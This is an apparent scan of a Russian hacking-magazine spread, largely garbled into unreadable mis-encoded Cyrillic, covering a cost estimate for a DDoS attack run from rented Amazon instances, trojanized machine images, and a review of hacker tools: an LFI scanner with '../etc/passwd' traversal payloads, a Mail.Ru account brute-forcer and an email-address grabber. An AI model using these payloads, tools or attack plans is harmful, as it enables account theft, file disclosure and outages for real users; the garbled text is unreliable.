³ÁËÉÍ ÏÂÑÁÈÏÍ, ÞÓÏÊ ÒÃàÈËÉ ÅÏÒÓÁÓÏØÎÏ, ØÓÏÂÜ ÃÜÃÆÒÓÉ ÉÈ ÒÓÑÏà 
ÌßÂÏÊ ÃÆÂ-ÒÆÑÃÆÑ, ÐÏÅÅÆÑÇÉÃÁßÚÉÊ ÍÁËÒÉÍÁÌÝÎÏÆ ØÉÒÌÏ ÐÏÅ-
ËÌßØÆÎÉÊ ÍÆÎÆÆ ØÆÍ 900. ¢ßÅÇÆÓ, ÎÆÏÂÖÏÅÉÍÜÊ ÅÌà ÑÆÁÌÉÈÁ×ÉÉ 
ÓÁËÏÊ ÁÓÁËÉ ÒÃÏÅÉÓÒà Ë ÍÉÎÉÍÔÍÔ ÈÁ ÒØÆÓ ÐÏÓÑÆÂÌÆÎÉà ÌÉÙÝ 
ËÏÍÐÝßÓÆÑÎÏÄÏ ÃÑÆÍÆÎÉ, Á ÎÆ ÑÆÒÔÑÒÏÃ É ÓÑÁÕÉËÁ. ²ÆÂÆÒÓÏÉÍÏÒÓÝ 
ÁÓÁËÉ ÅÌà ÓÁËÉÖ ÃÆÂ-ÒÆÑÃÆÑÏÃ — ÍÆÎÝÙÆ 7 ÑÔÂÌÆÊ Ã ØÁÒ! (ÒÍ. 
ÓÁÂÌÉ×Ô 4)
°ÑÉ ÓÆÒÓÉÑÏÃÁÎÉÉ Ã ÑÆÁÌÝÎÜÖ ÔÒÌÏÃÉàÖ ÍÉÙÆÎÝß ÃÜÒÓÔÐÁÌ ÃÆÂ-
ÒÁÊÓ, ÏÂÒÌÔÇÉÃÁÆÍÜÊ ÒÆÑÃÆÑÏÍ IIS. ¢ÁÌÁÎÒÉÑÏÃËÁ ÎÁÄÑÔÈËÉ ÂÜÌÁ 
ÑÁÈÅÆÌÆÎÁ ÎÁ ÅÃÁ IP-ÁÅÑÆÒÁ. ³ÁËÉÍ ÏÂÑÁÈÏÍ, ØÓÏÂÜ ÐÏÌÏÇÉÓÝ ÞÓÏÓ 
ÒÆÑÃÆÑ, ÐÏÓÑÆÂÏÃÁÌÏÒÝ ÒÏÈÅÁÓÝ ÂÏÌÆÆ ØÆÍ 20 000 ÐÏÅËÌßØÆÎÉÊ 
Ë ËÁÇÅÏÍÔ ÉÈ IP-ÁÅÑÆÒÏÃ. ®ÁÒÓÑÏÊËÉ ÁÓÁËÔÆÍÏÄÏ ÃÆÂ-ÒÆÑÃÆÑÁ 
ÂÜÌÉ ÔÒÓÁÎÏÃÌÆÎÜ ÐÏ ÔÍÏÌØÁÎÉß. £ ÉÓÏÄÆ, ÅÌà ÏÂÆÒÐÆØÆÎÉà 
ÃÒÆÖ ÔÒÌÏÃÉÊ ÅÌà ÔÅÁØÎÏÊ ÁÓÁËÉ «ÏÓËÁÈ Ã ÏÂÒÌÔÇÉÃÁÎÉÉ» ÂÜÌÏ 
ÈÁÐÔÚÆÎÏ 46 «Instance», ËÁÇÅÜÊ ÉÈ ËÏÓÏÑÜÖ ÞÍÔÌÉÑÏÃÁÌ ÏÅÎÏ-
ÃÑÆÍÆÎÎÔß ÑÁÂÏÓÔ 900 ÐÏÌÝÈÏÃÁÓÆÌÆÊ. «ÒÓÁÓÉ, ÏÂÜØÎÜÍ ÐÏÌÝÈÏ-
ÃÁÓÆÌàÍ Amazon ÐÏÈÃÏÌàÆÓÒà ÑÁÂÏÓÁÓÝ ÏÅÎÏÃÑÆÍÆÎÎÏ ÓÏÌÝËÏ Ò 20 
«Instance». ¸ÓÏÂÜ ÐÏÌÎÏÒÓÝß ÐÑÏÊÓÉ ÐÔÓÝ ÐÌÏÖÏÄÏ ÐÁÑÎà, ÈÁÅÔ-
ÍÁÃÙÆÄÏ DDoS-ÁÓÁËÔ, ÍÜ ÐÑÏÒÓÏ ÈÁÑÆÄÉÒÓÑÉÑÏÃÁÌÉ ÓÑÉ ÑÁÈÌÉØ-
ÎÜÖ ÁËËÁÔÎÓÁ. «ÑÏÍÆ ÞÓÏÄÏ, ÅÌà ÑÆÄÉÒÓÑÁ×ÉÉ ÎÁÍ ÐÏÎÁÅÏÂÉÌÏÒÝ 
ÓÑÉ ÒÉÍ-ËÁÑÓÜ. ¦ÒÓÆÒÓÃÆÎÎÏ, ÂÜÌÉ ËÔÐÌÆÎÜ ÁÎÏÎÉÍÎÜÆ ËÁÑÓÜ Ò 
ÂÁÌÁÎÒÁÍÉ 300 ÑÔÂÌÆÊ — ÐÑÉØÆÍ ÁÂÒÏÌßÓÎÏ ÌÆÄÁÌÝÎÏ. « ËÁÇÅÏÊ 
ÒÉÍ-ËÁÑÓÆ ÂÜÌÁ ÐÑÉÏÂÑÆÓÆÎÁ ËÁÑÓÁ ÏÐÌÁÓÜ (Prepaid Card For 
Internet Shopping) Ò ÂÁÌÁÎÒÁÍÉ $5 — ËÁÑÓÁ ÎÆÏÂÖÏÅÉÍÁ ÐÑÉ ÑÆÄÉ-
ÒÓÑÁ×ÉÉ ÎÁ ÐÌÏÚÁÅËÆ Amazon É ÃÆÑÉÕÉËÁ×ÉÉ. £ ÉÓÏÄÆ, ÂßÅÇÆÓ 

Генерация Rainbow tables

Троянизация AMI

HTTP DoS веб-сайта с помощью одного инстанта
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ÅÌà ÁÓÁËÉ «ÏÓËÁÈ Ã ÏÂÒÌÔÇÉÃÁÎÉÉ» ÎÁ ÃÆÂ-ÒÁÊÓ ÅÏÒÓÁÓÏØÎÏ ËÑÔÐ-
ÎÏÊ ËÏÍÐÁÎÉÉ ÒÏÒÓÁÃÉÌ ÃÒÆÄÏ 1150 ÑÔÂÌÆÊ. ¥ÆÓÁÌÝÎÁà ÒÓÏÉÍÏÒÓÝ 
ÐÑÆÅÒÓÁÃÌÆÎÁ Ã ÓÁÂÌÉ×Æ 5.
¡ÓÁËÁ ÐÑÏÃÏÅÉÌÁÒÝ Ã ÏÓÎÏÙÆÎÉÉ ÃÆÂ-ÒÆÑÃÆÑÁ ÎÁ ÐÑÏÓàÇÆÎÉÉ 
ÅÃÔÖ ØÁÒÏÃ, ØÆÄÏ ÃÐÏÌÎÆ ÅÏÒÓÁÓÏØÎÏ ÅÌà ÏÚÔÓÉÍÜÖ ÐÏÓÆÑÝ Ã 
ÒÕÆÑÆ ÉÎÓÆÑÎÆÓ-ÂÉÈÎÆÒÁ.

Трояны в Instance 
´ÅÏÂÒÓÃÏ ÏÂÌÁØÎÜÖ ÒÆÑÃÉÒÏÃ ÈÁËÌßØÁÆÓÒà ÓÁËÇÆ Ã ÄÉÂËÏÒÓÉ 
ÃÜÂÏÑÁ ¯² É ÆÆ ËÏÍÐÏÎÆÎÓÏÃ ØÆÑÆÈ ÐÑÉàÓÎÜÊ ÃÆÂ-ÉÎÓÆÑÕÆÊÒ. 
°ÏÌÝÈÏÃÁÓÆÌÝ ÍÏÇÆÓ ÉÒÐÏÌÝÈÏÃÁÓÝ ËÁË ÒÓÁÎÅÁÑÓÎÜÆ ÑÆÙÆÎÉà, 
ÐÑÆÅÏÒÓÁÃÌÆÎÎÜÆ ÐÑÏÃÁÊÅÆÑÏÍ, ÓÁË É ÏÂÑÁÈÜ ¯², ÒÏÈÅÁÎÎÜÆ 
ÐÏÌÝÈÏÃÁÓÆÌàÍÉ ÐÑÏÃÁÊÅÆÑÁ. ®ÁÐÑÉÍÆÑ, ÒÆÑÃÉÒ ÏÓ ¡ÍÁÈÏÎ 
ÏØÆÎÝ ÁËÓÉÃÎÏ ÉÒÐÏÌÝÈÔÆÓ ÅÁÎÎÔß ÒÉÒÓÆÍÔ. ©ÍÆÎÎÏ Ã ÎÆÊ É ËÑÏ-
ÉÓÒà ÏÐÁÒÎÏÒÓÝ — ÐÑÏÃÁÊÅÆÑ ÎÆ ÄÁÑÁÎÓÉÑÔÆÓ ÓÏÄÏ, ØÓÏ ÏÂÑÁÈÜ 
ÒÉÒÓÆÍ, ÐÑÆÅÏÒÓÁÃÌÆÎÎÜÆ ÐÏÌÝÈÏÃÁÓÆÌàÍÉ ÅÌà ÏÂÚÆÄÏ ÉÒÐÏÌÝ-
ÈÏÃÁÎÉà, ÎÆ ÃÜÐÏÌÎàßÓ ÎÉËÁËÉÖ ÒËÑÜÓÜÖ ÅÆÊÒÓÃÉÊ: ÎÁÐÑÉÍÆÑ, 
ÎÆ ÃÆÅÔÓ ÌÏÄÉ, ÎÆ ËÏÐÉÑÔßÓ ÌÉØÎÔß ÉÎÕÏÑÍÁ×Éß, ÎÆ ÒÓÁÎÏÃàÓÒà 
ØÁÒÓÝß ÂÏÓÎÆÓÁ, ÎÆ ÑÁÒÐÑÏÒÓÑÁÎàßÓ ÃÑÆÅÏÎÏÒÎÏÆ °¯.
°ÑÏÃÆÅÆÎÎÜÆ ÓÆÒÓÜ ÐÏËÁÈÁÌÉ, ØÓÏ ÍÎÏÄÉÆ ÐÏÌÝÈÏÃÁÓÆÌÉ ÅÆÊ-
ÒÓÃÉÓÆÌÝÎÏ ÎÆ ÒÌÆÅàÓ ÈÁ ÓÁËÉÍÉ ÃÆÚÁÍÉ. ¥Ìà ÐÑÏÃÆÅÆÎÉà ÓÆÒÓÁ 
ÐÏÓÑÆÂÏÃÁÌÏÒÝ:
• ÒÏÈÅÁÓÝ ÏÂÑÁÈ ÐÏÐÔÌàÑÎÏÊ ¯² Ã ÕÏÑÍÁÓÆ AMI É ÃÜÌÏÇÉÓÝ ÆÄÏ Ã 
ÏÓËÑÜÓÜÊ ÅÏÒÓÔÐ Ã ÉÎÓÆÑÕÆÊÒ ¡ÍÁÈÏÎÁ;
• ÒÏÒÓÁÃÉÓÝ ÖÏÑÏÙÆÆ ÏÐÉÒÁÎÉÆ ÎÁÒÓÑÏÆÎÎÏÊ ÒÉÒÓÆÍÜ (ÔÒÓÁÎÏÃ-
ÌÆÎÎÜÊ ÒÏÕÓ, ÐÏÌÆÈÎÜÆ «ÐÌßÙËÉ» É Ó.Å.);
«ÑÏÍÆ ÞÓÏÄÏ ÍÆÌËÉÍ ÙÑÉÕÓÏÍ Ã ÏÐÉÒÁÎÉÉ ÐÑÏÄÑÁÍÍÜ ÂÜÌÏ 
ÎÁÐÉÒÁÎÏ, ØÓÏ ÐÑÉ ÒÓÁÑÓÆ ÞÓÏÄÏ ÏÂÑÁÈÁ ¯² Ã ÁÃÓÏÍÁÓÉØÆÒËÏÍ 
ÑÆÇÉÍÆ ÐÑÏÉÒÖÏÅÉÓ HTTP-GET-ÏÓÒÓÔË ÎÁ ÒÆÑÃÆÑ, ÒÏÂÉÑÁßÚÉÊ 
ÒÓÁÓÉÒÓÉËÔ. ¶ÏÓà ÏÂ ÞÓÏÍ ÍÏÇÎÏ ÂÜÌÏ É ÎÆ ÄÏÃÏÑÉÓÝ Ã ÏÐÉÒÁÎÉÉ 
ÏÂÑÁÈÁ, ÍÆÌËÉÊ ÓÆËÒÓ ÎÆ ÉÒÐÏÑÓÉÌ ËÁÑÓÉÎÜ. «ÁË ÑÆÈÔÌÝÓÁÓ — 
ÂÏÌÆÆ 1000 ÏÓÒÓÔËÏÃ ÈÁ ÍÆÒà×! °ÑÆÅÒÓÁÃÝ, ËÁËÏÊ ÖÏÑÏÙÉÊ É ÂÆÒ-
ÐÌÁÓÎÜÊ ÂÏÓÎÆÓ ÍÏÇÎÏ ÒÏÂÑÁÓÝ. ±ÁÈÍÆÚÁÆÙÝ ÐÑÏÓÑÏàÎÆÎÎÜÊ 
ÏÂÑÁÈ Ò ËÑÁÒÉÃÜÍ ÏÐÉÒÁÎÉÆÍ — ÐÏÌÝÈÏÃÁÓÆÌÉ ÔÒÓÁÎÁÃÌÉÃÁßÓ 
ÆÄÏ, Á ÓÜ ÁÎÏÎÉÍÎÏ ÐÏÌÝÈÔÆÙÝÒà ÉÖ ÒÆÑÃÆÑÁÍÉ ÈÁ ÉÖ ÇÆ ÅÆÎÝÄÉ.

Abuse-практика
³ÆÏÑÆÓÉØÆÒËÉ, ÏÐÆÑÁÓÉÃÎÏÆ ÑÆÁÄÉÑÏÃÁÎÉÆ ÎÁ ÇÁÌÏÂÜ ÅÏÌÇÎÏ 
ÂÜÓÝ ÐÑÁÃÉÌÏÍ ÅÌà ÌßÂÏÄÏ ÐÑÏÃÁÊÅÆÑÁ. £ ÑÆÁÌÝÎÏÒÓÉ ÇÆ ÃÒÆ 

ÏÂÒÓÏÉÓ ÎÆÒËÏÌÝËÏ ÉÎÁØÆ. °ÑÏÃÆÅà ÎÆÂÏÌÝÙÏÆ ÉÒÒÌÆÅÏÃÁÎÉÆ, 
ÂÜÌÏ ÃÜàÃÌÆÎÏ, ØÓÏ ÅÁÇÆ ÒÆÑÝÆÈÎÜÆ ÐÑÏÃÁÊÅÆÑÜ ÏÂÌÁØÎÜÖ ÒÆÑ-
ÃÉÒÏÃ (ÎÁÐÑÉÍÆÑ, Amazon), ÎÆ ÒÐÆÙÁÓ ÑÆÁÄÉÑÏÃÁÓÝ ÎÁ abuse É 
ÑÁÒÒÌÆÅÏÃÁÓÝ ÉÎ×ÉÅÆÎÓÜ. µÁËÓÉØÆÒËÉ, ÅÆÌÏ ÎÆ ÈÁÖÏÅÉÓ ÅÁÌÝÙÆ 
ÔØÆÓÁ ÒÏÏÂÚÆÎÉÊ ÏÂ ÉÎ×ÉÅÆÎÓÁÖ. £Ï-ÐÆÑÃÜÖ, ØÓÏÂÜ ÉÎ×ÉÅÆÎÓ 
ÂÜÌ ÑÁÒÒÍÏÓÑÆÎ ÐÑÏÃÁÊÅÆÑÏÍ, ÎÆÏÂÖÏÅÉÍÏ ÐÑÆÅÏÒÓÁÃÉÓÝ, ÐÏÍÉ-
ÍÏ IP-ÁÅÑÆÒÁ ÁÓÁËÔßÚÆÄÏ, ÓÏØÎÔß ÅÁÓÔ É ÃÑÆÍà ÁÓÁËÉ. °ÏÒÌÆ 
ÐÑÆÅÏÒÓÁÃÌÆÎÉà ÎÆÏÂÖÏÅÉÍÏÊ ÉÎÕÏÑÍÁ×ÉÉ Ï ÈÌÏÔÍÜÙÌÆÎÎÉËÆ, 
ÐÆÑÆÐÉÒËÁ Ò ÐÑÏÃÁÊÅÆÑÏÍ ÂÔÅÆÓ ÐÑÏÅÏÌÇÁÓÝÒà. ®Ï ÞÓÏ ÂÔÅÆÓ 
ÏÅÎÏÒÓÏÑÏÎÎàà ÐÆÑÆÐÉÒËÁ: ÐÑÏÃÁÊÅÆÑ Ò ÑÁÅÏÒÓÝß ÃÜÒÌÔÙÁÆÓ 
ÏÓÃÆÓÜ ÎÁ ÉÎÓÆÑÆÒÔßÚÉÆ ÆÄÏ ÃÏÐÑÏÒÜ, ÎÏ ÃÏÓ ÎÁ ÓÃÏÉ — ÎÆ ÏÓÃÆ-
ÓÉÓ, ÈÁ ÑÆÅËÉÍ ÉÒËÌßØÆÎÉÆÍ, ÌßÂÆÈÎÏ ÉÄÎÏÑÉÑÔà.

Что делать в случаях атак
°ÑÉ ÐÆÑÃÏÍ ÏÂÑÁÚÆÎÉÉ Ë ÐÑÏÃÁÊÅÆÑÔ, ÒÌÔÇÂÁ ÂÆÈÏÐÁÒÎÏÒÓÉ 
ÐÑÏÒÉÓ ÐÑÆÅÏÒÓÁÃÉÓÝ ÒÌÆÅÔßÚÔß ÉÎÕÏÑÍÁ×Éß:
• IP-ÁÅÑÆÒ ÁÓÁËÔßÚÆÄÏ;
• IP-ÁÅÑÆÒ ÇÆÑÓÃÜ;
• ÁÓÁËÔÆÍÜÊ ÐÏÑÓ É ÐÑÏÓÏËÏÌ, ÐÏ ËÏÓÏÑÏÍÔ ÐÑÏÉÒÖÏÅÉÌÁ ÁÓÁËÁ;
• ÓÏØÎÔß ÅÁÓÔ, ÃÑÆÍà É ÃÑÆÍÆÎÎÔß ÈÏÎÔ ÇÆÑÓÃÜ;
• ÌÏÄÉ Ò ÍÁÙÉÎÜ ÇÆÑÓÃÜ, ÐÏÅÓÃÆÑÇÅÁßÚÉÆ ÕÁËÓ ÁÓÁËÉ (ÎÆ ÂÏÌÆÆ 
4 «Â);
• ËÏÎÓÁËÓÎÜÆ ÅÁÎÎÜÆ.
«ÑÁÊÎÆ ÃÁÇÎÜ ÓÏØÎÏÆ ÃÑÆÍà ÁÓÁËÉ É ÃÑÆÍÆÎÎÁà ÈÏÎÁ ÁÓÁËÔÆÍÏÊ 
ÍÁÙÉÎÜ. ¾ÓÏ ÒÃàÈÁÎÏ Ò ÓÆÍ, ØÓÏ IP-ÁÅÑÆÒ ÁÓÁËÔßÚÆÄÏ ÍÏÇÆÓ 
ÍÆÎàÓÝ ÃÌÁÅÆÌÝ×Á ÂÏÌÆÆ ÏÅÎÏÄÏ ÑÁÈÁ ÈÁ ÒÔÓËÉ, ØÓÏ ÔÒÌÏÇÎàÆÓ 
ÉÅÆÎÓÉÕÉËÁ×Éß ÈÌÏÔÍÜÙÌÆÎÎÉËÁ. «ÑÏÍÆ ÞÓÏÄÏ ÒÌÆÅÔÆÓ ÓÏØÎÏ 
ÉÅÆÎÓÉÕÉ×ÉÑÏÃÁÓÝ ÃÉÅ ÁÓÁËÉ É ÒÏÈÅÁÓÝ ÒÌÆÐÏË ÌÏÄ-ÕÁÊÌÏÃ 
ÁÓÁËÔÆÍÏÄÏ ÒÆÑÃÉÒÁ ÅÌà ÐÑÆÅÏÒÓÁÃÌÆÎÉà ÒÌÔÇÂÆ ÂÆÈÏÐÁÒÎÏÒÓÉ 
ÐÑÏÃÁÊÅÆÑÁ.

Заключение
¯ÂÌÁØÎÜÆ ÓÆÖÎÏÌÏÄÉÉ, ÐÑÆÅÏÒÓÁÃÉÃ ÐÏÌÝÈÏÃÁÓÆÌàÍ ÅÏÒÓÔÐ Ë 
ÏÄÑÏÍÎÜÍ ÃÜØÉÒÌÉÓÆÌÝÎÜÍ ÃÏÈÍÏÇÎÏÒÓàÍ, ÓÁËÇÆ ÅÁÌÉ ÃÏÈÍÏÇ-
ÎÏÒÓÝ ÐÌÏÖÉÍ ÐÁÑÎàÍ ÉÒÐÏÌÝÈÏÃÁÓÝ ÒÃÏÉ ÍÏÚÎÏÒÓÉ Ã ËÏÑÜÒÓÎÜÖ 
×ÆÌàÖ. °ÁÎÁ×ÆÉ ÏÓ ÞÓÏÄÏ ÎÆ ÒÔÚÆÒÓÃÔÆÓ. ®Ï, ÈÎÁà ÃÏÈÍÏÇÎÜÆ 
ÃÆËÓÏÑÜ ÁÓÁËÉ Ò ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ ÏÂÌÁØÎÜÖ ÃÜØÉÒÌÆÎÉÊ, ÍÏÇÎÏ 
ÈÁÚÉÓÉÓÝ ÒÃÏÉ ÉÎÕÏÑÍÁ×ÉÏÎÎÜÆ ÑÆÒÔÑÒÜ ÏÓ ÃÏÈÍÏÇÎÜÖ ÉÎ×É-
ÅÆÎÓÏÃ. z

Статистика использования паролей 
в российских компаниях

Необходимый ресурс Качество Продолжительность
атаки

Стоимость

Сим-карта 3 — 900 рублей

Работа одного Instance 46 2 $0,085 * 46 * 2 = ~ 240 рублей

Трафик (in+out) (Гб) <2 — <$0,150 ~ <8 рублей

Итого: 1150 рублейТаблица 5
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ВЗЛОМ
 ÁÄ  ( icq 884888,  snipper.ru)

 072

Программа: Witchxtool
ОС: *nix/win
Автор: th3_w1tch

°ÆÑÃÜÍ Ã ÎÁÙÆÍ ÏÂÈÏÑÆ ÃÜÒÓÔÐÁÆÓ ÐÑÉÍÆ-
ØÁÓÆÌÝÎÜÊ ÖÁËÆÑÒËÉÊ ËÏÍÂÁÊÎ, ÎÁÐÉÒÁÎÎÜÊ 
ÍÆÍÂÆÑÏÍ ÓÔÑÆ×ËÏÊ ËÏÍÁÎÅÜ Makassar Ethical 
Hacker ÎÁ ÐÆÑÌÆ. °ÑÏÄÁ ÑÁÂÏÓÁÆÓ Ã ÉÎÓÆÑÁËÓÉÃ-
ÎÏÍ ÑÆÇÉÍÆ É ÒÏÃÍÆÚÁÆÓ Ã ÒÆÂÆ ÕÔÎË×ÉÏÎÁÌ 
ÍÎÏÇÆÒÓÃÁ ÐÏÌÆÈÎÆÊÙÉÖ ÔÓÉÌÉÓ, ÎÁØÉÎÁà ÒÏ 
ÒËÁÎÆÑÁ ÐÏÑÓÏÃ É ÈÁËÁÎØÉÃÁà ÒËÁÎÆÑÏÍ LFI-
ÅÏÑËÏÃ. ±ÁÈÏÂÑÁÓÝÒà Ò ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ ÒËÁÎÆÑÁ 
ÅÏÃÏÌÝÎÏ ÐÑÏÒÓÏ, ÏÅÎÁËÏ ÏÐÉÙÔ ÅÌà ÐÑÉÍÆÑÁ 
Ò×ÆÎÁÑÉÊ ÑÁÂÏÓÜ ÐÑÉ ÐÏÉÒËÆ LFI (Local File 
Include). °ÑÉÍÆÑ ÉÒÐÏÌÝÈÏÃÁÎÉà ÒËÁÎÆÑÁ:

Target : http://site.com/index.
php?page=

# ǯȤȜȠșȤȡȯș țȔȣȤȢȥȯ Șȟȳ ȣȢȜȥȞȔ LFI,
ȥȢȘșȤȚȔȭȜșȥȳ Ȗ ȥȞȔȡșȤș:

../etc/passwd

../../etc/passwd

../../../etc/passwd

../../../../etc/passwd
Ȝ Ȧ.Ș.

¡ÂÒÏÌßÓÎÏ ÁÎÁÌÏÄÉØÎÏ Ã ÉÎÓÆÑÁËÓÉÃÎÏÍ ÑÆÇÉÍÆ 
ÍÏÇÎÏ ÂÑÔÓÕÏÑÒÉÓÝ MD5, ÎÁÖÏÅÉÓÝ ÅÏÑËÉ SQL-
ÉÎÛÆË×ÉÊ, ÄÑÁÂÉÓÝ ÒÃÆÇÉÆ ÐÑÏËÒÉ Ò ÒÆÑÃÉÒÁ 
proxylist.net É Ó.Å.
°ÆÑÆÅ ÎÁØÁÌÏÍ ÑÁÂÏÓÜ ÒÏ ÒËÑÉÐÓÏÍ ÓÆÂÆ ÍÏÄÔÓ 
ÐÏÎÁÅÏÂÉÓÝÒà ÅÏÐÏÌÎÉÓÆÌÝÎÜÆ ÐÆÑÌÏÃÜÆ ÍÏÅÔ-
ÌÉ, ÎÁÊÓÉ ÉÖ ÓÜ ÓÁËÇÆ ÒÍÏÇÆÙÝ ÎÁ ÎÁÙÆÍ ÅÉÒËÆ. 
°ÑÉÍÆÑ ÔÒÓÁÎÏÃËÉ ÍÏÅÔÌà Data::Validate::IP:

cd modules
cd-Net-RawIP 00:25
perl Makefi le.PL
make & & make install

Программа: MRBrute 
ОС: Windows 2000/XP/2003 Server/
Vista/2008 Server/7
Автор: [i]Pro, Dark-web.ws

®Á ÏØÆÑÆÅÉ ÆÚÆ ÏÅÉÎ ÂÑÔÓÕÏÑÒ ÅÌà ÑÁÂÏÓÜ ÒÏ 
ÃÒÆÍ ÉÈÃÆÒÓÎÜÍ ÒÆÑÃÉÒÏÍ Mail.Ru. µÔÎË×ÉÏÎÁÌ 
É ÏÒÏÂÆÎÎÏÒÓÉ ÂÑÔÓÕÏÑÒÁ ÅÏÒÓÁÓÏØÎÏ ÒÓÁÎÅÁÑÓÎÜ 
ÅÌà ÓÁËÏÄÏ ÑÏÅÁ ÒÏÕÓÁ:

• ȠȡȢȗȢȣȢȦȢȫȡȢȥȦȰ (ȠȔȞȥȜȠȧȠ 150 
ȣȢȦȢȞȢȖ);
• ȣȢȘȘșȤȚȞȔ ȣȤȢȞȥȜ (HTTP/SOCKS4/5);
• ȖȥȦȤȢșȡȡȯȝ ȗșȡșȤȔȦȢȤ ȥȢȤȪȔ;
• ȧȘȢȕȡȔȳ ȥȦȔȦȜȥȦȜȞȔ Ȗ ȥȜȥȦșȠȡȢȠ ȦȤșș
(ȢȘȜȡ ȞȟȜȞ ȣȢ ȜȞȢȡȞș Ȗ ȦȤșș — ȖȯȖȢȘ
 ȞȤȔȦȞȢȝ ȥȦȔȦȯ, ȘȖȢȝȡȢȝ ȞȟȜȞ — ȖȯȖȢȘ 
ȨȢȤȠȯ ȕȤȧȦȔ);
• ȦȔȝȠȔȧȦȯ;
• Șȟȳ ȤȔȕȢȦȯ ȦȤșȕȧșȦȥȳ .NET Framework.

¥Ìà ÎÁØÁÌÁ ÑÁÂÏÓÜ Ò ÐÑÏÄÏÊ ÓÆÂÆ ÎÆÏÂÖÏÅÉÍÏ 
ÈÁÊÓÉ Ã ÎÁÒÓÑÏÊËÉ É ÉÈÍÆÎÉÓÝ ÒÌÆÅÔßÚÉÆ 
ÐÁÑÁÍÆÓÑÜ:

• Bad — ȨȔȝȟ ȥ ȡșȣȢȘȢȕȤȔȡȡȯȠȜ ȔȞȞȔȧȡȦȔȠȜ;
• Good — ȨȔȝȟ ȥ Good (ȣȢȘȢȕȤȔȡȡȯȠȜ) 
ȔȞȞȔȧȡȦȔȠȜ;
• Source — ȥȣȜȥȢȞ ȔȞȞȔȧȡȦȢȖ Șȟȳ ȕȤȧȦȔ,
ȘȢȟȚșȡ ȜȠșȦȰ ȖȜȘ email@mail.ru:
password;
• Proxy — ȥȣȜȥȢȞ ȣȤȢȞȥȜ Șȟȳ ȤȔȕȢȦȯ 
ȣȤȢȗȤȔȠȠȯ;
• Threads — ȫȜȥȟȢ ȣȢȦȢȞȢȖ;
TimeOut — ȖȤșȠȳ ȣȢȘȞȟȲȫșȡȜȳ Ȟ ȥșȤȖșȤȧ 

(ȣȢ ȜȥȦșȫșȡȜȜ ȱȦȢȗȢ ȖȤșȠșȡȜ ȣȤȢȞȥȜ 
ȠșȡȳșȦȥȳ);
• Delimiter — ȤȔțȘșȟȜȦșȟȰ ȥȣȜȞȔ Source:
 <Login>:<Password>;
• Type Proxy — ȦȜȣ ȜȥȣȢȟȰțȧșȠȯȩ ȣȤȢȞȥȜȞȢȖ.

¥ÁÌÆÆ ÓÆÂÆ ÍÏÇÆÓ ÐÏÎÁÅÏÂÉÓÝÒà ÄÆÎÆÑÁÓÏÑ 
ÒÏÑ×ÆÃ. £ ÑÁÂÏÓÆ Ò ÎÉÍ ÓÁËÇÆ ÎÆÓ ÎÉØÆÄÏ 
ÒÌÏÇÎÏÄÏ: Ã ÌÆÃÜÊ ÌÉÒÓ ÈÁÎÏÒÉÍ ÒÃÏÊ ÒÐÉÒÏË 
ÍÜÌ, Ã ÐÑÁÃÜÊ — ÒÐÉÒÏË ÐÁÑÏÌÆÊ. ¥ÁÌÆÆ 
ÇÍÆÍ ÎÁ ËÎÏÐËÔ «Generate» É ÎÁÂÌßÅÁÆÍ 
ÄÏÓÏÃÜÊ ÒÐÉÒÏË Source.txt. 
³ÁËÇÆ ÁÃÓÏÑ ÂÑÔÓÕÏÑÒÁ ÔÐÏÍÉÎÁÆÓ É ÏÂ ÏÅÎÏÍ 
ÂÁÄÆ ÒÃÏÆÄÏ ÓÃÏÑÆÎÉà: ÐÑÉ ÉÒÐÏÌÝÈÏÃÁÎÉÉ 
HTTP Proxy Ò ËÁÇÅÜÍ ÁËËÁÔÎÓÏÍ Ã ÌÏÄÆ ÒÏ-
ÂÜÓÉÊ ÂÔÅÆÓ ÃÜÃÏÅÉÓÝÒà ÐÑÏÉÈÃÏÅÒÓÃÆÎÎÁà 
ÏÙÉÂËÁ — Ã ÎÆÊ ÎÆÓ ÎÉØÆÄÏ ÒÓÑÁÙÎÏÄÏ.

Программа: MGrab
ОС: Windows 2000/XP/2003 Server/
Vista/2008 Server/7
Автор: Boolean

¡ ÃÏÓ É ÆÚÆ ÏÅÎÁ ÐÑÏÄÁ ÅÌà ÑÁÂÏÓÜ Ò Mail.Ru. 
®Á ÒÆÊ ÑÁÈ ÞÓÏ ÄÑÁÂÂÆÑ ÍÆÊÌ-ÁÅÑÆÒÏÃ, ËÏÓÏÑÜÊ 
ÐÑÉÄÏÅÉÓÒà ÓÆÂÆ Ã ÒÏØÆÓÁÎÉÉ Ò ÏÐÉÒÁÎÎÜÍ ÃÜÙÆ 
MRBrute’ÏÍ. ²ÁÍ ÐÑÏ×ÆÒÒ ÒÂÏÑÁ ÍÜÌÝÎÉËÏÃ 
ÐÑÏÖÏÅÉÓ Ò ÐÏÍÏÚÝß ÂÁÄÁ Ã ÒÆÑÃÉÒÆ otvet.mail.
ru, ËÏÓÏÑÜÊ ÐÏËÁÈÜÃÁÆÓ ÃÒÆ ÁÅÑÆÒÁ ÐÏÌÝÈÏÃÁÓÆ-
ÌÆÊ Ã ÏÓËÑÜÓÏÍ ÃÉÅÆ. ̄ ÒÏÂÆÎÎÏÒÓÉ ÄÑÁÂÂÆÑÁ:

• ȤȔȕȢȦȔ Ȗ ȢȘȡȢȠ ȣȢȦȢȞș;
• ȣȤȢȖșȤȞȔ ȡȔ ȘȧȕȟȜȞȔȦȯ;

X-TOOLS
Все включено!

Хакерский
софт от 
blackhat’ов

Брутим аккаунты Mail.Ru

Грабим Mail.Ru
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• ȜȞȢȡȞȔ Ȝ ȖȢțȠȢȚȡȢȥȦȰ ȥȖșȤȡȧȦȰ Ȗ ȦȤșȝ;
• ȖȢțȠȢȚȡȢȥȦȰ ȖȯȥȦȔȖȟșȡȜȳ ȦȔȝȠȔȧȦȔ;
• ȣȢȘȤȢȕȡȯȝ ȟȢȗ ȤȔȕȢȦȯ;
• ȖȢțȠȢȚȡȢȥȦȰ ȖȯȕȢȤȔ ȤȔțȘșȟȢȖ Șȟȳ
 ȗȤȔȕȕȜȡȗȔ Ȗ ȢȞȡș «For Grab» (ȡȔȣȤȜȠșȤ:
 friends, auto, business, countries,
 magic, relax, food Ȝ Ȧ.Ș.).

°ÏÒÌÆ ÏËÏÎØÁÎÉà ÑÁÂÏÓÜ ÄÑÁÂÂÆÑÁ Ô ÓÆÂà ÂÔÅÆÓ 
